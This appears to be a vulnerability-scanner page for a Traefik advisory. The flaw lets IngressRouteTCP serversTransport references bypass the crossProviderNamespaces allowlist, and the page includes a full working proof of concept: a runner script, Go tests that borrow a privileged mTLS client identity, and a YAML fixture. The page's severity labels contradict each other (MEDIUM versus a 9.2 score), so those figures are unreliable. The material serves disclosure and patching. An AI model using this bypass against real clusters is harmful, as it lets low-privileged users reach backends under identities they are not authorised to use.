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CVE-2026-65602

MEDIUM

Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass

Published August 5, 2026Updated August 18, 2026Source: osv

Summary

## Summary There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The `crossProviderNamespaces` allowlist is enforced for HTTP `serversTransport` references but was not enforced for `IngressRouteTCP` service `serversTransport` references. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` could set `serversTransport: foo@file` on an `IngressRouteTCP` service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider `TCPServersTransport` — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the `crossProviderNamespaces` allowlist to TCP `serversTransport` references. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ## Summary Traefik's Kubernetes CRD provider enforces `crossProviderNamespaces` for several cross-provider references, but `IngressRouteTCP` service `serversTransport` references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in `crossProviderNamespaces` can still set `serversTransport: foo@file` on an `IngressRouteTCP` service. Traefik accepts the forbidden cross-provider reference and later uses the referenced `TCPServersTransport`, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings. ## Description `crossProviderNamespaces` is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP `serversTransport` references enforce that allowlist. TCP `serversTransport` references do not. An attacker with low Kubernetes privileges in namespace `default` can create an `IngressRouteTCP` service with: ```yaml serversTransport: foo@file ``` Even when the provider is configured with: ```yaml crossProviderNamespaces: - operator-only ``` Traefik still emits a TCP dynamic service whose load balancer points to `foo@file`. At runtime, `DialerManager.Build()` uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings. ## Impact The PoC demonstrates two positive facts: 1. A namespace outside `crossProviderNamespaces` can cause Traefik to accept and store `LoadBalancer.ServersTransport = "foo@file"` from an `IngressRouteTCP` service. 2. A qualified `foo@file` `TCPServersTransport` with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend. This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference. ## Proof Of Concept ### Files - `run.sh`: portable runner. - `poc_crd_test.go`: positive CRD provider proof. - `with_servers_transport_cross_provider_poc.yml`: minimal `IngressRouteTCP` fixture. - `poc_tcp_mtls_test.go`: positive runtime mTLS identity-use proof. <details> <summary>run.sh</summary> ```bash #!/usr/bin/env sh set -eu TARGET_REF="${TARGET_REF:-v3.7.5}" REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}" SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}" if [ "${KEEP_WORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi echo "[*] target_ref=$TARGET_REF" echo "[*] workdir=$WORKDIR" if [ -n "${TRAEFIK_SRC:-}" ]; then echo "[*] cloning from local source: $TRAEFIK_SRC" git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGET_REF" else echo "[*] cloning from remote: $REPO_URL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp cp "$SCRIPT_DIR/poc_crd_test.go" \ pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \ pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \ pkg/tcp/dialer_cross_provider_identity_poc_test.go echo "[*] running CRD provider policy-bypass PoC" go test ./pkg/provider/kubernetes/crd \ -run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass$' \ -count=1 -v echo "[*] running TCPServersTransport mTLS identity-use PoC" go test ./pkg/tcp \ -run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity$' \ -count=1 -v echo "POC_RESULT=PASS" ``` </details> <details> <summary>poc_crd_test.go</summary> ```go package crd import ( "testing" "github.com/stretchr/testify/require" traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake" kubefake "k8s.io/client-go/kubernetes/fake" ) func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) { k8sObjects, crdObjects := readResources(t, []string{ "tcp/services.yml", "tcp/with_servers_transport_cross_provider_poc.yml", }) kubeClient := kubefake.NewClientset(k8sObjects...) crdClient := traefikcrdfake.NewClientset(crdObjects...) client := newClientImpl(kubeClient, crdClient) stopCh := make(chan struct{}) defer close(stopCh) eventCh, err := client.WatchAll(nil, stopCh) require.NoError(t, err) <-eventCh provider := Provider{ AllowCrossNamespace: true, CrossProviderNamespaces: []string{"operator-only"}, } conf := provider.loadConfigurationFromCRD(t.Context(), client) service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"] require.NotNil(t, service) require.NotNil(t, service.LoadBalancer) require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport) require.NotEmpty(t, service.LoadBalancer.Servers) require.True(t, service.LoadBalancer.Servers[0].TLS) t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v", provider.CrossProviderNamespaces, service.LoadBalancer.ServersTransport, service.LoadBalancer.Servers[0].TLS) } ``` </details> <details> <summary>poc_tcp_mtls_test.go</summary> ```go package tcp import ( "crypto/rand" "crypto/rsa" "crypto/tls" "crypto/x509" "crypto/x509/pkix" "encoding/pem" "fmt" "io" "math/big" "net" "testing" "time" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" traefiktls "github.com/traefik/traefik/v3/pkg/tls" "github.com/traefik/traefik/v3/pkg/types" ) func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) { pki := newPoCPKI(t) dialerManager := NewDialerManager(nil) dialerManager.Update(map[string]*dynamic.TCPServersTransport{ "foo@file": { TLS: &dynamic.TLSClientConfig{ ServerName: "example.com", RootCAs: []types.FileOrContent{types.FileOrContent(pki.caCertPEM)}, Certificates: traefiktls.Certificates{ traefiktls.Certificate{ CertFile: types.FileOrContent(pki.clientCertPEM), KeyFile: types.FileOrContent(pki.clientKeyPEM), }, }, }, }, }) backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki) defer closeBackend() dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true) require.NoError(t, err) conn, err := dialer.Dial("tcp", backendAddr, nil) require.NoError(t, err) defer conn.Close() _, err = conn.Write([]byte("ping")) require.NoError(t, err) buf := make([]byte, 4) _, err = io.ReadFull(conn, buf) require.NoError(t, err) require.Equal(t, "PONG", string(buf)) var cn string select { case cn = <-peerCN: case <-time.After(time.Second): t.Fatal("timed out waiting for backend peer certificate") } select { case err := <-done: require.NoError(t, err) case <-time.After(time.Second): t.Fatal("timed out waiting for backend completion") } t.Logf("POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport=%q peer_cn=%q response=%q", "foo@file", cn, string(buf)) } func newPoCMTLSBackend(t *testing.T, pki poCPKI) (string, <-chan string, <-chan error, func()) { t.Helper() serverCert, err := tls.X509KeyPair(pki.serverCertPEM, pki.serverKeyPEM) require.NoError(t, err) clientPool := x509.NewCertPool() require.True(t, clientPool.AppendCertsFromPEM(pki.caCertPEM)) listener, err := net.Listen("tcp", "127.0.0.1:0") require.NoError(t, err) tlsListener := tls.NewListener(listener, &tls.Config{ Certificates: []tls.Certificate{serverCert}, ClientAuth: tls.RequireAndVerifyClientCert, ClientCAs: clientPool, }) peerCN := make(chan string, 1) done := make(chan error, 1) go func() { conn, err := tlsListener.Accept() if err != nil { done <- err return } defer conn.Close() tlsConn, ok := conn.(*tls.Conn) if !ok { done <- fmt.Errorf("unexpected connection type %T", conn) return } if err := tlsConn.Handshake(); err != nil { done <- err return } state := tlsConn.ConnectionState() if len(state.PeerCertificates) == 0 { done <- fmt.Errorf("missing peer certificate") return } peerCN <- state.PeerCertificates[0].Subject.CommonName buf := make([]byte, 4) if _, err := io.ReadFull(tlsConn, buf); err != nil { done <- err return } if string(buf) != "ping" { done <- fmt.Errorf("unexpected backend payload %q", string(buf)) return } _, err = tlsConn.Write([]byte("PONG")) done <- err }() return listener.Addr().String(), peerCN, done, func() { _ = tlsListener.Close() } } type poCPKI struct { caCertPEM []byte serverCertPEM []byte serverKeyPEM []byte clientCertPEM []byte clientKeyPEM []byte } func newPoCPKI(t *testing.T) poCPKI { t.Helper() caKey, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err) caTemplate := &x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{CommonName: "poc-ca"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageCRLSign, BasicConstraintsValid: true, IsCA: true, } caDER, err := x509.CreateCertificate(rand.Reader, caTemplate, caTemplate, &caKey.PublicKey, caKey) require.NoError(t, err) serverCertPEM, serverKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "poc-server", []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}) clientCertPEM, clientKeyPEM := newPoCLeafCert(t, caTemplate, caKey, "example.com", []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth}) return poCPKI{ caCertPEM: pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: caDER}), serverCertPEM: serverCertPEM, serverKeyPEM: serverKeyPEM, clientCertPEM: clientCertPEM, clientKeyPEM: clientKeyPEM, } } func newPoCLeafCert(t *testing.T, caTemplate *x509.Certificate, caKey *rsa.PrivateKey, cn string, eku []x509.ExtKeyUsage) ([]byte, []byte) { t.Helper() key, err := rsa.GenerateKey(rand.Reader, 2048) require.NoError(t, err) serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) require.NoError(t, err) template := &x509.Certificate{ SerialNumber: serial, Subject: pkix.Name{CommonName: cn}, DNSNames: []string{"example.com"}, NotBefore: time.Now().Add(-time.Minute), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, ExtKeyUsage: eku, } certDER, err := x509.CreateCertificate(rand.Reader, template, caTemplate, &key.PublicKey, caKey) require.NoError(t, err) keyDER := x509.MarshalPKCS1PrivateKey(key) return pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER}), pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: keyDER}) } ``` </details> <details> <summary>with_servers_transport_cross_provider_poc.yml</summary> ```yaml apiVersion: traefik.io/v1alpha1 kind: IngressRouteTCP metadata: name: test.route namespace: default spec: entryPoints: - foo routes: - match: HostSNI(`foo.com`) priority: 12 services: - name: whoamitcp port: 8000 tls: true serversTransport: foo@file ``` </details> ### Requirements - `git` - Go toolchain compatible with the target Traefik tag. `v3.7.5` uses `go 1.25.0`. - Network access to clone `https://github.com/traefik/traefik.git` and download Go modules on first run. No local Traefik checkout is required by default. ### Run ```sh ./run.sh ``` Optional target override: ```sh TARGET_REF=v3.6.21 ./run.sh ``` Optional local-source override for faster local validation: ```sh TRAEFIK_SRC=/path/to/traefik TARGET_REF=v3.7.5 ./run.sh ``` ### Expected Result The run should end with: ```text POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=[operator-only] serversTransport="foo@file" backend_tls=true POC_MTLS_RESULT=backend_accepted_transport_identity serversTransport="foo@file" peer_cn="example.com" response="PONG" POC_RESULT=PASS ``` ## Root Cause Line numbers below are from: ```text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0 ``` ### 1. The provider option is meant to cover IngressRouteTCP `pkg/provider/kubernetes/crd/kubernetes.go:60` ```go CrossProviderNamespaces []string `description:"List of namespaces from which IngressRoute, IngressRouteTCP, IngressRouteUDP, and TraefikService are allowed to declare cross-provider references." ...` ``` This establishes the security invariant: `IngressRouteTCP` cross-provider references should be gated by `crossProviderNamespaces`. ### 2. TCP service creation forwards the attacker-controlled transport name `pkg/provider/kubernetes/crd/kubernetes_tcp.go:183-185` ```go if service.ServersTransport != "" { tcpService.LoadBalancer.ServersTransport, err = p.makeTCPServersTransportKey(parentNamespace, service.ServersTransport) } ``` The attacker-controlled `serversTransport` field is passed into the key builder. ### 3. TCP key builder returns cross-provider names without the allowlist check `pkg/provider/kubernetes/crd/kubernetes_tcp.go:321-322` ```go if strings.Contains(serversTransportName, providerNamespaceSeparator) { return serversTransportName, nil } ``` This accepts `foo@file` directly. There is no call to `isCrossProviderNamespaceAllowed(...)` on this TCP path. ### 4. HTTP sibling contains the missing authorization gate `pkg/provider/kubernetes/crd/kubernetes_http.go:507-508` ```go if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) { return "", fmt.Errorf("serversTransport %q reference is not allowed: namespace %q is not in crossProviderNamespaces", ...) } ``` The HTTP path proves the intended policy: cross-provider `serversTransport` references should be rejected when the route namespace is not in the allowlist. ### 5. Runtime TCP dialer consumes the exact referenced transport `pkg/tcp/dialer.go:135-141` ```go if config.ServersTransport != "" { name = config.ServersTransport } st, ok := d.serversTransports[name] ``` `pkg/tcp/dialer.go:183-188` ```go tlsConfig = &tls.Config{ ServerName: st.TLS.ServerName, Certificates: st.TLS.Certificates.GetCertificates(), } ``` The accepted `foo@file` reference is not a harmless string. It selects the cross-provider transport and applies its client TLS identity during backend connections. </details> ---

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/traefik/traefik/v3 to 3.7.7 or later
go get github.com/traefik/traefik/v3@v3.7.7
Go
Update github.com/traefik/traefik/v3 to 3.6.23 or later
go get github.com/traefik/traefik/v3@v3.6.23

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

PackageEcosystemAffectedFixed In
github.com/traefik/traefik/v3
go
All versions3.7.7
github.com/traefik/traefik/v3
go
All versions3.6.23

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-863
    Incorrect AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.2 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Frequently Asked Questions

What is CVE-2026-65602?
Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 9.2/10).
How do I check if my project is affected by CVE-2026-65602?
CVE-2026-65602 affects github.com/traefik/traefik/v3. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-65602 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.2

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-42cj-m3vj-89wv
GO-2026-6192

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